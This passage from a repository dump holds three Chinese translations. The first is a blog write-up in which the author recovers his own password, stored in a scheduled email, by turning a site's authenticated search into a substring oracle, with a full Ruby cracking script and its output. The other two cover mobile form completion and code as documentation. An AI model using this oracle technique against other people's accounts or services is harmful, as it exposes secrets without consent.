个空位来放字符，有些字符会出现在标题行，有些不会。所以可以取出所有没有出现在标题行的字符，逐一尝试进行搜索，肯定可以碰到一个独一无二的字母，恰好出现在密码中。就像是命运之轮游戏。\n\n![](https://cdn-images-1.medium.com/max/800/1*LOzh--_Ujutrh_OKhjfNaw.png)\n\n继续逐个字母进行尝试，直到命中没有出现在标题行的字符。这样就找到了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*fdoVAq3t5naQ5G9yARr0RA.png\">\n\n找到了第一个字母之后我仍然不知道它在字符串中的位置。不过我知道可以在它后面加一个不同的字符来构造一个更大的子字符串，直到再次命中。\n\n有可能必需遍历字母表中每一个字符才能找到它。任何一个字母都可能是正确的，所以平均来说会命中中间位置的字母，如果字母表有 A 个字母，那么可以预计每个字母平均会落到 A/2 处（假设主题字母较少且没有超过两个字符的重复组合）。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*GJ5xKZzTe0F5un-Iz11pXg.png\">\n\n继续构建子字符串，直到无法在末尾添加字符。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*E9ri3Rf8LBPxUTjgs5BvPQ.png\">\n\n这还没完 — 不过接近了，我落下了字符串的前缀，因为我是随机选了个起点开始的。不过好办，只需要再重复一下之前的操作，方向反过来就好了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*F_n0WGRP_8RJdFtR-v0b1g.png\">\n\n搞定之后就可以着手重建密码了。总而言之，我需要搞定 `L` 个字符，每个字符平均需要猜测 `A/2` 次（`A` 是字母表长度），加起来需要猜测 `A/2 * L` 次。\n\n准确地说，我还得再猜测 `2A` 次来确保字符串两端都到头了。所以总数是 `A/2 * L + 2A`，提取公因数就是 `A(L/2 + 2)`.\n\n假设密码中有 20 个字符，字母表由 `a-z` 和 `0–9` 组成，总长度为 36。所以总迭代次数是 `36 * (20/2 + 2) = 36 * 12 = 432`。\n\n可恶。\n\n不过实际上是可行的。\n\n![](https://media.giphy.com/media/119cVU19ICcAKc/giphy.gif) \n\n生活中的编程\n\n### 实现\n\n首先：我得写一个客户端，用代码控制搜索框执行检索。也就是我的子字符串「先知」。这个网站显然没有 API，我得直接爬网站。\n\n搜索用的 URL 模式看来就是简单的检索字符串，`www.lettermelater.com/account.php?**qe=#{query_here}**`。简单吧。\n\n开始写脚本吧。我会用 Faraday 这个 gem 完成网络请求，交互简单，我比较熟悉。\n\n首先写一个 API 类。\n\n```\nrequire 'faraday'\n\nclass Api\n  BASE_URL = 'http://www.lettermelater.com/account.php'\n\n  def self.get(query)\n    Faraday.get(BASE_URL, qe: query)\n  end\nend\n```\n\n当然，我可没指望这就能用了，毕竟还没有授权脚本登陆我的账号。可以看到响应返回了 302 重定向，还在 cookie 中提供了错误信息。\n\n```\n[10] pry(main)> Api.get(“foo”)\n=> #<Faraday::Response:0x007fc01a5716d8\n...\n{“date”=>”Tue, 04 Apr 2017 15:35:07 GMT”,\n“server”=>”Apache”,\n“x-powered-by”=>”PHP/5.2.17\",\n“set-cookie”=>”msg_error=You+must+be+signed+in+to+see+this+page.”,\n“location”=>”.?pg=account.php”,\n“content-length”=>”0\",\n“connection”=>”close”,\n“content-type”=>”text/html; charset=utf-8\"},\nstatus=302>\n```\n\n那怎么登陆呢？显然得在 header 中带上 [cookies](http://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work)。有了 Chrome 的 inspector 这简直轻而易举。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*PSxZtW4wppyzRXMdBWgGWw.gif\">\n\n（我当然不会把真的 cookie 贴在这儿。有意思的是看上去 cookie 在客户端保存了 user_id，这是个好信号。）\n\n反复排除之后我发现需要 `code` 和 `user_id` 才能通过验证…… 哎。\n\n所以我把这些加到脚本中。（这只是个用作示例的假 cookie）\n\n```\n\nrequire 'faraday'\n\nclass Api\n  BASE_URL = 'http://www.lettermelater.com/account.php'\n  COOKIE = 'code=13fa1fa011169ab29007fcad17b2ae; user_id=279789'\n\n  def self.get(query)\n    Faraday.get(BASE_URL, { qe: query }, Cookie: COOKIE).body\n  end\nend\n```\n\n```\n[29] pry(main)> Api.get(“foo”)\n=> “\\n<!DOCTYPE HTML PUBLIC \\”-//W3C//DTD HTML 4.01//EN\\” \\”[http://www.w3.org/TR/html4/strict.dtd\\](http://www.w3.org/TR/html4/strict.dtd%5C) (.markup--anchor .markup--pre-anchor data-href=markup--anchor markup--pre-anchor rel=markup--anchor markup--pre-anchor target=markup--anchor markup--pre-anchor)\">\\n<html>\\n<head>\\n\\t<meta http-equiv=\\”content-type\\” content=\\”text/html; charset=UTF-8\\” />\\n\\t<meta name=\\”Description\\” content=\\”LetterMeLater.com allows you to send emails to anyone, with the ability to have them sent at any future date and time you choose.\\” />\\n\\t<meta name=\\”keywords\\” content=\\”schedule email, recurring, repeating, delayed, text messaging, delivery, later, future, reminder, date, time, capsule\\” />\\n\\t<title>LetterMeLater.com — Account Information</title>…\n\n[30] pry(main)> _.include?(“Haseeb”)\n=> true\n```\n\n拿到我的名字了，显然登陆成功了！\n\n爬数据搞定了，现在需要解析爬到的数据。幸运的是，这并不难 — 如果页面中出现了 e-mail 就意味着搜索命中了，所以只需要找到这种情况下才会出现的字符串就好了。“password“ 在其他搜索失败的情况下并不会出现，所以就是它了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cZT37Ji9j8sm8dobFpiAWQ.png\">\n\n```\ndef self.include?(substring)\n  get(substring).include?(‘password’)\nend\n```\n\nAPI 类弄完了。现在完全可以用 Ruby 实现子字符串检索了。\n\n```\n[31] pry(main)> Api.include?('password')\n=> true\n[32] pry(main)> Api.include?('f')\n=> false\n[33] pry(main)> Api.include?('g')\n=> true\n```\n\n这个搞定之后就要用 stub 替换掉真正的 API 来琢磨算法了。发送 HTTP 请求会非常慢，还有可能在试验的时候被限流。假设 stub API 是正确的，一旦搞定了剩下的算法部分，只要换成真正的 API 可以用了。\n\n下面就是内置了随机密码的 stub API 了：\n\n```\nclass ApiStub\n  SECRET_PASSWORD = 'g420hpfjpefoj490rjgsd'\n\n  def self.include?(substring)\n    SECRET_PASSWORD.include?(substring)\n  end\nend\n```\n\n在测试时用 stub API 注入到类中。万事俱备后再用真实的 API 来检索真正的密码。\n\n下面就开始用 Apistub 类吧。先在较高的层次回忆一下算法流程，主要分为三步：\n\n1. 首先，找到第一个标题中没有，却在密码中出现的字母。拿它作起点。\n2. 向前构建字符串，直到字符串尾。\n3. 反向构建字符串，直到字符串头。\n\n这样就搞定了！\n\n先做准备工作。要注入 API，还要把当前的密码段置为空字符串。\n\n```\nclass PasswordCracker\n  def initialize(api)\n    @api = api\n    @password = ''\n  end\nend\n```\n\n接下来写三个方法，就按照刚才计划的做。\n\n```\n  def crack!\n    find_starting_letter!\n    build_forward!\n    build_backward!\n    @password\n  end\n```\n\n\n完美。现在剩下的都可以在私有方法中执行。\n\n为了找到第一个字母，需要遍历字母表中的每个字符，条件是没有出现在标题中。可以用 a-z 和 0-9 来构造字母表。用 Ruby 的范围运算符（`..`）可以轻松搞定：\n\n```\nALPHABET = ((‘a’..’z’).to_a + (‘0’..’9').to_a).shuffle\n```\n\n我偏向于把字母表随机打乱这样可以避免密码中字母的分布造成的偏差。这种情况下算法找到每个字符平均需要检索 A/2 次，即使密码并不是随机分布的。\n\n还可以把标题定义为一个常量。\n\n```\nSUBJECT = ‘password’\n```\n\n准备工作就是这些。下面该写 `find_starting_letter` 了。这需要遍历每个候选字母（按照字母表顺序，当然不能出现在标题中），直到第一个匹配。\n\n```\n  private\n\n  def find_starting_letter!\n    candidate_letters = ALPHABET - SUBJECT.chars\n    @password = candidate_letters.find { |char| @api.include?(char) }\n  end\n```\n\n在测试阶段看上去效果不错：\n\n```\nPasswordCracker.new(ApiStub).send(:find_starting_letter!) # => 'f'\n```\n\n下面是难点。\n\n我会用递归来实现，因为结构更优雅。\n\n```\ndef build_forward!\n    puts \"Current password: #{@password}\"\n    ALPHABET.each do |char|\n      guess = @password + char\n\n      if @api.include?(guess)\n        @password = guess\n        build_forward!\n        # once I'm done building forward, jump out of all stack frames\n        return\n      end\n    end\n  end\n```\n\n上面的代码简洁明了。现在看看能不能和 stub API 工作。\n\n```\n[63] pry(main)> PasswordCracker.new(ApiStub).crack!\nf\nfj\nfjp\nfjpe\nfjpef\nfjpefo\nfjpefoj\nfjpefoj4\nfjpefoj49\nfjpefoj490\nfjpefoj490r\nfjpefoj490rj\nfjpefoj490rjg\nfjpefoj490rjgs\nfjpefoj490rjgsd\n=> “fjpefoj490rjgsd”\n```\n\n赞！有了后缀，现在需要反向构建字符串。代码应该看上去很相似。\n\n```\ndef build_backward!\n    puts \"Current password: #{@password}\"\n    ALPHABET.each do |char|\n      guess = char + @password\n\n      if @api.include?(guess)\n        @password = guess\n        build_backward!\n        return\n      end\n    end\n```\n\n\n实际上只有两行代码有异：如何构建 `guess`，以及递归调用的名字。可以重构一下。\n\n```\ndef build!(forward:)\n    puts \"Current password: #{@password}\"\n    ALPHABET.each do |char|\n      guess = forward ? @password + char : char + @password\n\n      if @api.include?(guess)\n        @password = guess\n        build!(forward: forward)\n        return\n      end\n    end\n  end\n```\n\n现在另一个调用可以简化为：\n\n```\n  def build_forward!\n    build!(forward: true)\n  end\n\n  def build_backward!\n    build!(forward: false)\n  end\n```\n\n来实战一下：\n\n\n```\nApps-MacBook:password-recovery haseeb$ ruby letter_me_now.rb\nCurrent password: 9\nCurrent password: 90\nCurrent password: 90r\nCurrent password: 90rj\nCurrent password: 90rjg\nCurrent password: 90rjgs\nCurrent password: 90rjgsd\nCurrent password: 90rjgsd\nCurrent password: 490rjgsd\nCurrent password: j490rjgsd\nCurrent password: oj490rjgsd\nCurrent password: foj490rjgsd\nCurrent password: efoj490rjgsd\nCurrent password: pefoj490rjgsd\nCurrent password: jpefoj490rjgsd\nCurrent password: fjpefoj490rjgsd\nCurrent password: pfjpefoj490rjgsd\nCurrent password: hpfjpefoj490rjgsd\nCurrent password: 0hpfjpefoj490rjgsd\nCurrent password: 20hpfjpefoj490rjgsd\nCurrent password: 420hpfjpefoj490rjgsd\nCurrent password: g420hpfjpefoj490rjgsd\ng420hpfjpefoj490rjgsd\n```\n\n漂亮。再加一些 print 语句和 log，`PasswordCracker` 就完成了。\n\n```\nrequire 'faraday'\n\nclass PasswordCracker\n  ALPHABET = (('a'..'z').to_a + ('0'..'9').to_a).shuffle\n  SUBJECT = 'password'\n\n  def initialize(api)\n    @api = api\n    @password = ''\n  end\n\n  def crack!\n    find_starting_letter!\n    puts \"Found first letter: #{@password}\"\n    puts \"\\nBuilding forward!\\n\"\n    build_forward!\n    puts \"\\nBuilding backward!\\n\"\n    build_backward!\n    puts \"Done! The result is #{@password}.\"\n    puts \"We found it in #{@api.iterations} iterations\"\n    @password\n  end\n\n  private\n\n  def find_starting_letter!\n    candidate_letters = ALPHABET - SUBJECT.chars\n    @password = candidate_letters.find { |char| @api.include?(char) }\n  end\n\n  def build_forward!\n    build!(forward: true)\n  end\n\n  def build_backward!\n    build!(forward: false)\n  end\n\n  def build!(forward:)\n    puts \"Current password: #{@password}\"\n    ALPHABET.each do |char|\n      guess = forward ? @password + char : char + @password\n\n      if @api.include?(guess)\n        @password = guess\n        build!(forward: forward)\n        return\n      end\n    end\n  end\nend\n\nclass Api\n  BASE_URL = 'http://www.lettermelater.com/account.php'\n  COOKIE = 'code=13fa1fa011169ab29007fcad17b2ae; user_id=279789'\n  @iterations = 0\n\n  def self.get(query)\n    @iterations += 1\n    Faraday.get(BASE_URL, { qe: query }, Cookie: COOKIE).body\n  end\n\n  def self.include?(substring)\n    get(substring).include?('password')\n  end\n\n  def self.iterations\n    @iterations\n  end\nend\n\nclass ApiStub\n  SECRET_PASSWORD = 'g420hpfjpefoj490rjgsd'\n  @iterations = 0\n\n  def self.include?(substring)\n    @iterations += 1\n    SECRET_PASSWORD.include?(substring)\n  end\n  \n  def self.iterations\n    @iterations\n  end\nend\n```\n\n接下来......就是见证奇迹的时刻。把 stub API 换成真实的 API，看看结果怎么样。\n\n### 见证真相的时刻\n\n上天保佑……\n\n`PasswordCracker.new(Api).crack!`\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*NR-y9WthtHg4DVjLDwikVA.gif\">\n\n（三倍速）\n\nBoom. 443 次迭代。\n\n赶紧去 Reddit 试了一下，成功登录。\n\n哇噢。\n\n真的有效。\n\n回忆一下原来那个计算迭代数的公式：`A(N/2 + 2)`。真正的密码长度为 22，所以公式预计需要 `36 * (22/2 + 2) = 36 * 13 = 468` 次迭代。实际上用了 443 次迭代，所以估计值和观测值的误差在 5% 以内。\n\n**这就是数学。**\n\n![](https://media.giphy.com/media/26xBI73gWquCBBCDe/giphy.gif) \n\n什么鬼 鬼什么 什鬼么\n\n**真的有效**\n\n不用给客服写尴尬的邮件了。重获 Reddit 休闲时光。事实证明：编程——的确是——魔法。\n\n（不过我又得找个新办法让自己暂时无法登录了。）\n\n有了编程之技，我又可以在互联网上挥霍时间了。感谢阅读，如果喜欢请点赞！\n\n*—Haseeb*\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/the-tiny-keyboard-problem-do-people-complete-forms.md",
    "content": "\n> * 原文地址：[The Tiny Keyboard Problem: Do People Complete Forms on Their Phones?](https://priceonomics.com/the-tiny-keyboard-problem-do-people-complete-forms/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[Priceonomics Data Studio](https://priceonomics.com/the-priceonomics-data-studio/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-tiny-keyboard-problem-do-people-complete-forms.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-tiny-keyboard-problem-do-people-complete-forms.md)\n> * 译者：[Changkun Ou](https://github.com/changkun)\n> * 校对者：[ylq167](https://github.com/ylq167)\n\n# 「小键盘」难题：用户在手机上填写表单吗？\n\n![](https://pix-media.priceonomics-media.com/blog/1305/6102197029_07974bc025_b.jpg)\n\n本文系根据 JotForm （一家 Priceonomics Data Studio 的客户）的博文改编。你的公司有有趣的数据吗？[成为 Priceonomics 的客户吧](https://priceonomics.com/the-priceonomics-data-studio/)。\n\n无论是在家里的沙发上、还是在外面的商店购物，移动设备都可以让你能够随时浏览在线网站。手机甚至可能是你唯一的计算设备和上网冲浪的设备。\n\n尽管在移动端浏览网页可能更方便，但输入信息则是一个很大的麻烦。使用触摸屏键盘打字以及对抗其自动更正的功能可能是移动用户面临的挑战，然而桌面端用户不需要担心这些问题。\n\n然而，在手机而非桌面机上完成填写表单任务会产生多大的麻烦呢?\n\n我们分析了 Priceonomics 的客户 [JotForm](https://www.jotform.com/blog/309-What-Factors-Contribute-to-Form-Submission-Rates) 的数据。JotForm 是一家专注于让用户创建与填写网页表单的公司。根据用户在每次显示的支付表单以及是否提交了此表单的记录，我们就调查了移动端和桌面端用户之间的提交率有多大差异。\n\n我们查看了来自移动和桌面设备的表单浏览量和提交记录。我们根据表单的长度、行业以及用户的国家，将这些数据进行了统计。在桌面设备总体上的提交率要比移动设备**高出 81% 之多**。对于较长的表单来说，桌面端的提交率是移动端的 2.25 倍，而国家和行业则影响了获得提交表单所需的浏览量 。\n\n我们想知道人们更常使用什么类型的设备来打开表单。纵观全部浏览量，我们统计了在桌面端上显示的表单数和在移动上显示表单数。然后，将浏览量的总数除以对应设备的总数，从而得到了各平台浏览量所占的份额。\n\n![](https://pix-media.priceonomics-media.com/blog/1305/image1.png)\n\n> 数据源：[JotForm](https://www.jotform.com/blog/309-What-Factors-Contribute-to-Form-Submission-Rates)\n\n桌面端是一个使用相对频繁的平台，占全部浏览量的 57.2%。不过，而移动端并没有落后太多，占 42.8% 的浏览量。虽然在桌面端的数值有一点点偏高，但这两个平台所占比率其实是比较均衡的。\n\n让用户去查看表单只是挑战的一部分。我们想看看桌面端和移动端之间的提交率是怎样的。于是我们对每个平台的浏览总数进行了统计，并将其分为仅浏览的用户数以及提交表单的用户数。其结果会显示平均每 100 个浏览中有多少个提交结果。\n\n![](https://pix-media.priceonomics-media.com/blog/1305/image2.png)\n\n> 数据源：[JotForm](https://www.jotform.com/blog/309-What-Factors-Contribute-to-Form-Submission-Rates)\n\n虽然在两种设备之间的浏览量的份额几乎是均衡的，但提交率却不是。桌面端用户在每 100 个表单中有 8个提交，几乎是移动端用户 100 个表单仅 4.4 个提交率的两倍。我们的数据包括各种形式表单的浏览量和提交数，因此我们想要进一步分解这些数据。\n\n尽管移动设备能使浏览变得非常容易，但在手机或平板上完成一些任务可能会让你感到很痛苦，而在桌面电脑上可能就不会那么费力。那么表单长度会怎样影响移动端和桌面端的提交率呢？我们对两个平台的浏览量和提交数进行了统计，并根据表单中字段的数量进行了划分。\n\n![](https://pix-media.priceonomics-media.com/blog/1305/image5.png)\n\n> 数据源：[JotForm](https://www.jotform.com/blog/309-What-Factors-Contribute-to-Form-Submission-Rates)\n\n随着表单长度的增加，移动端的提交率保持在相对一致的水平。桌面端提交率根据表单的长度从最短到最长增长了 57% （译者注：(10.5% - 6.7%) / 6.7%）。虽然在桌面端中长表单的提交率相对更高，但它们总的浏览量和提交数却相对较少。这些很长的表单也可能是强制性的，这就是为什么人们需要完成一个包含 50 多个字段的表单。\n\n接下来，我们想看看用户所在国家是如何影响他们的提交率的。我们使用 IP 地址来确定哪些国家的用户查看并提交了表单。然后，我们将每个设备的浏览量和提交数按国家进行分类。\n\n![](https://pix-media.priceonomics-media.com/blog/1305/image3.png)\n\n> 数据源：[JotForm](https://www.jotform.com/blog/309-What-Factors-Contribute-to-Form-Submission-Rates)\n\n在一共 10 个国家中，桌面用户的提交率均高于移动用户的提交率。爱尔兰和澳大利亚的用户在这两个平台上的提交率最高，分别为 12.0% 和 12.5%，移动端z则分别为 7.3% 和 6.4%。来自低提交率国家的用户在两个平台上的提交率比较接近。\n\n我们还想看看不同行业的提交率是否存在差异。我们按行业对每个表单进行了标记，并计算了每个行业的移动端和桌面端的提交率。\n\n![](https://pix-media.priceonomics-media.com/blog/1305/image4.png)\n\n> 数据源：[JotForm](https://www.jotform.com/blog/309-What-Factors-Contribute-to-Form-Submission-Rates)\n\n在每一个类别中，桌面端的提交率都要高于移动端的提交率。小型企业的表单提交率最高，并高出活动产业的 90% （译者注：(13.1%-6.9%) / 6.9%），且后者的桌面端提交率最低。娱乐产业的移动提交率最低，约为非营利性行业的提交率的 30%（译者注：1.8%/6.1%，图中显示的非盈利行业的移动端提交率最高）。\n\n结论：我们查看了移动和桌面设备上表单浏览量和提交数。用户在桌面端和移动端浏览表单的比例非常接近，但用户在桌面端提交率相比移动端要高出 81%（译者注：(8.0%-4.4%) / 4.4%）。桌面的提交率随着表单长度的增加而增加，但总的浏览量和提交数则逐渐减少。用户所在国家及所在行业均对产生一个提交所需的浏览量存在影响。\n\n**注**：如果你想与 Priceonomics 合作将公司的数据转化为一个伟大的故事，你可以了解更多关于 **Priceonomics Data Studio** 的信息。封面图由 Flicker 用户 David Martyn Hunt 提供。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-truth-is-in-the-code.md",
    "content": "> * 原文地址：[The truth is in the code](https://medium.freecodecamp.com/the-truth-is-in-the-code-86a712362c99)\n> * 原文作者：[Bertil Muth](https://medium.freecodecamp.com/@BertilMuth)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[loveky](https://github.com/loveky)\n> * 校对者：[sunui](https://github.com/sunui) [yzgyyang](https://github.com/yzgyyang)\n\n# 真相就在代码中 #\n\n![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)\n\n[购物应用](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx)模型，[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码\n\n早晚有一天，每个程序员都会听到这样一句话：\n\n> “真相只能在一处找到：代码中。”\n\n> —— Robert C. Martin，[代码整洁之道](https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)\n\n但这句话是什么意思呢？\n\n[敏捷宣言](http://agilemanifesto.org/)中指出“可工作的软件胜过繁琐的文档”。\n\n即便开发人员一直都在撰写繁琐的文档以描述软件的行为。代码也在做着相同的事。\n\n代码注释、外部规范也在记录软件的行为，但是当代码被修改时它们可能不会被同步更新。然后它们很快就不再能表达代码的行为了。\n\n相反，代码**始终**都能表达软件的行为。因为正是它定义了这些行为。\n\n这就是为什么说真相存在于代码中。\n\n### 为阅读你代码的人考虑 ###\n\n代码是一种文档。任何文档都应该能够被它的读者理解。\n\n代码的读者可能是一个编译器，解释器或是其他开发人员。\n\n所以你的代码仅能编译通过是不够的。你还要保证其他开发人员能够读懂它。未来他们需要在你代码的基础上工作，修改它，扩展它。\n\n一个关于使代码容易阅读的常见建议是编写整洁的代码。整洁的代码指的是使用易懂的语言命名变量和方法的代码。这也使得很多代码注释变得不必要了。\n\n整洁的代码应该能表达意图：使用者通过调用该方法能**做什么**。而不是**怎么做**。\n\n猜测一下这个方法是做什么的：\n\n```java\n    BigDecimal addUp(List<BigDecimal> ns){..}\n```\n\n如果是这么写呢：\n\n```java\n    BigDecimal calculateTotal(List<BigDecimal> individualPrice){..}\n```\n\n整洁的代码是一个好主意。但我认为这还不够。\n\n### 知识共享的重要性 ###\n\n当有一个新需求时，你需要评估实现该需求对现有代码的影响。\n\n如果你的软件已经存在了一段时间，这可能会是个挑战。我经常听到这样的对话：\n\n**X**：我们不能继续开发 **foo** 特性了。\n\n**Y**：为什么？\n\n**X**：因为 **Z** 是唯一了解这块代码的人。我们要改动的代码就是他开发的。\n\n**Y**：好吧，为什么不去问问他呢？\n\n**X**：因为他病了/休假了/在开会/离职了。\n\n**Y**：额……\n\n事情就是这样。要想知道你的代码是否容易被理解，至少要有个人去尝试阅读它。\n\n有这方面的技术。[结对编程](https://en.m.wikipedia.org/wiki/Pair_programming)就是一个不错的选择。或者是和其他开发人员坐下来，一起过一遍你写的代码。\n\n然而，如果参与一个项目的开发人员太多呢？如果一个研发团队的成员变化了呢？这使得编写容易被其他人理解的代码变得更困难了。\n\n### 故事 ###\n\n整洁代码带给你正确的**用语**。\n\n问题是：你在代码中使用它们讲述怎样的**故事**呢？\n\n我不知道。\n\n但是对于一个典型的业务应用，我很清楚我希望在代码中读到怎样的故事。\n\n在介绍一个简单的例子之后，我会简要描述那个故事。\n\n### 手套商店的例子 ###\n\n作为一个软件的用户，我想要[达到期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套在冬天可以给我的手保暖。\n\n因此我上网找到了一家新开的线上手套专卖店。该店铺的网站可以让我购买手套。“基本流程”（也被称为“正常用例”）大概是这样的：\n\n- 系统以一个空购物车开始。\n- 系统展示一个手套的列表。\n- 我添加喜欢的手套到购物车。系统将这些手套加入到我的订单中。\n- 我选择结账。\n- 我输入配送信息和支付详情。系统保存这些信息。\n- 系统展示一份订单的详细信息。\n- 我确认信息。系统开始配送我的订单。\n\n几天以后，我收到手套。\n\n### 下面是我想在代码中读到的故事 ###\n\n### 第一章: 用例 ###\n\n故事的第一章是关于用例的。当我阅读代码时，我希望在代码中按照某个用例一步一步的达到期望的结果。\n\n从一个用户的角度来看，我想弄明白当出现错误时系统是如何应对的。\n\n我还想搞清楚流程中可能的分支。例如，用户企图从支付详情页回到配送信息页时会发生什么？用户可以这样操作吗？\n\n我想知道每一个用例中的不同部分对应哪块代码。\n\n#### 那么一个用例由哪些零件构成呢？ ####\n\n用例的基础零件是使用户离期望结果更近一步的**步骤**。比如：“系统展示一个手套的列表。”\n\n不是所有用户都可以执行某一步骤，只有特定用户组的成员（“**行为者**”）才可以这么做。例如，终端消费者买手套。销售人员向系统中添加新款手套的报价。\n\n某些步骤由系统主动执行。例如在展示手套列表时。无需用户交互。\n\n而有的步骤则是用户交互的结果。系统**响应**某些**用户事件**。例如：用户输入配送信息。系统保存这些信息。\n\n我想知道这些事件中包含哪些**数据**。配送信息包含用户的姓名，地址等等。\n\n用户在任何给定的时间点上只能执行一部分步骤。用户只有在输入配送信息后才可以填写支付详情。因此每一个用例中都有一个定义了该用例中所有步骤执行顺序的**流程**。以及一个根据系统当前状态，表示系统是否可以响应用户的操作的**条件**。\n\n#### 要理解代码，你需要一个简单方法来了解几件事情。 ####\n\n对于一个用例（例如“买手套”）：\n\n- **步骤**的**流程**\n\n对于每个步骤：\n\n- 哪些**行为者**有执行的权限（也就是哪个用户组）\n- 在哪些**条件**下，系统可以响应\n- 该步骤是**自发的**还是基于**用户交互**\n- **系统**的**响应**\n\n对于每个基于用户交互的步骤：\n\n- **用户事件**（例如“用户输入配送信息”）\n- 伴随事件而来的**数据**\n\n一旦我知道在哪里可以找到用例以及它的零件之后，我就可以深入研究了。\n\n### 第二章: 通过组件分解步骤 ###\n\n让我们把你软件中一个封装的，可替换的组成单位称为一个**组件**。一个组件的**职责**可以被该组件之外的世界访问。\n\n一个组件可能是：\n\n- 一个技术组件，比如数据库\n- 一个服务，比如“购物车服务”\n- 你的领域模型中的一个实体\n\n这取决于你的软件设计。但不论你的组件是什么：你通常都需要若干个组件配合来实现用例中的某个步骤。\n\n让我们来看看“系统展示一个手套的列表”这一步骤中的**系统响应**。你很可能需要开发至少两项**职责**。一个用来在数据库中查找手套，另一个用来把这些数据转变为一个页面。\n\n当阅读代码时，我希望能了解以下这些内容：\n\n- 一个组件的**职责**是什么。例如：对数据库来说是“查找手套”。\n- 每个职责的**输入**/**输出**是什么。输入的例子：查找手套的规则。输出的例子：手套列表。\n- 谁来**协调**这些职责。例如：首先查找手套，然后将结果转换成一个网页。\n\n### 第三章：组件做什么 ###\n\n组件的代码用来实现它的职责。\n\n这通常出现在**领域模型**中。领域模型使用和业务领域相关的术语。\n\n举例来说，手套可以是一个术语。订单也可以是一个术语。\n\n领域模型用于描述每个术语的**数据**。每个手套都有颜色，品牌，尺码，价格等数据。\n\n领域模型还用来描述基于这些数据的运算。一个订单的总价是该订单中用户购买的所有手套价格的总和。\n\n一个组件还可以是类似数据库这样的技术组件。该组件的代码就要解决如何在数据库中创建、查找、更新、删除数据的问题。\n\n### 讲述你的故事 ###\n\n你的故事可能看起来和上面提到的故事很相似，也可能完全不同。不论你的故事是怎样的，编程语言都给了你极大的自由来讲述你的故事。\n\n这是件好事情，因为它允许开发人员适应不同的情景与需求。\n\n这也承担了由开发人员讲述太多不同故事（哪怕是针对同一个产品）带来的风险，使得理解其他人编写的代码变得更困难了。\n\n解决这个问题的一个办法是使用设计模式。它们可以帮你合理的组织代码。你可以在团队中甚至是团队间就这种通用结构达成一致。\n\n例如：Rails 框架就是基于众所周知的模型、视图、控制器模式的。\n\n模型用于放置**领域数据**。\n\n视图是客户端用户界面，比如 HTML 页面。这是**用户事件**的来源。\n\n控制器在服务器端接收用户事件。它负责**流程**。\n\n因此，如果多个开发人员使用 Rails，他们就知道在哪里能找到和故事中特定部分相关的代码。\n\n他们可以在分享他们的见解时找出缺失的东西。然后，他们就可以进一步的就约定在哪里放置故事的模块达成一致。\n\n如果这些适用于你，那就好了。但我想比这更进一步。\n\n### 代码即需求 ###\n\n很多客户问我如何处理长期的软件文档。\n\n在敏捷开发中，如何创建软件维护文档？\n\n到目前为止都实现了哪些需求？\n\n在哪里能找到它们在代码中的实现？\n\n很久以来我都没有满意的答案。当然，除了良好编写的自动化测试，整洁的线上代码，以及共同认知的重要性之外。\n\n但是在几年前，我开始思考：\n\n> 如果真相在代码中，那么代码也应该能讲述真相。\n\n换句话说：如果你非常小心的在代码中讲述你的故事，为何还要再说一遍呢？\n\n需要有更好的方法。它可以提取故事，并基于它生成文档。非技术相关方也能理解的文档。\n\n始终保持最新状态的文档，因为正是它的来源定义了软件行为。\n\n唯一可靠的来源：代码自身。\n\n在许多次尝试之后，我有了一些成果。我把它们发布在一个名为 [requirementsascode](https://github.com/bertilmuth/requirementsascode) 的 GitHub 项目中。\n\n### 它是如何工作的 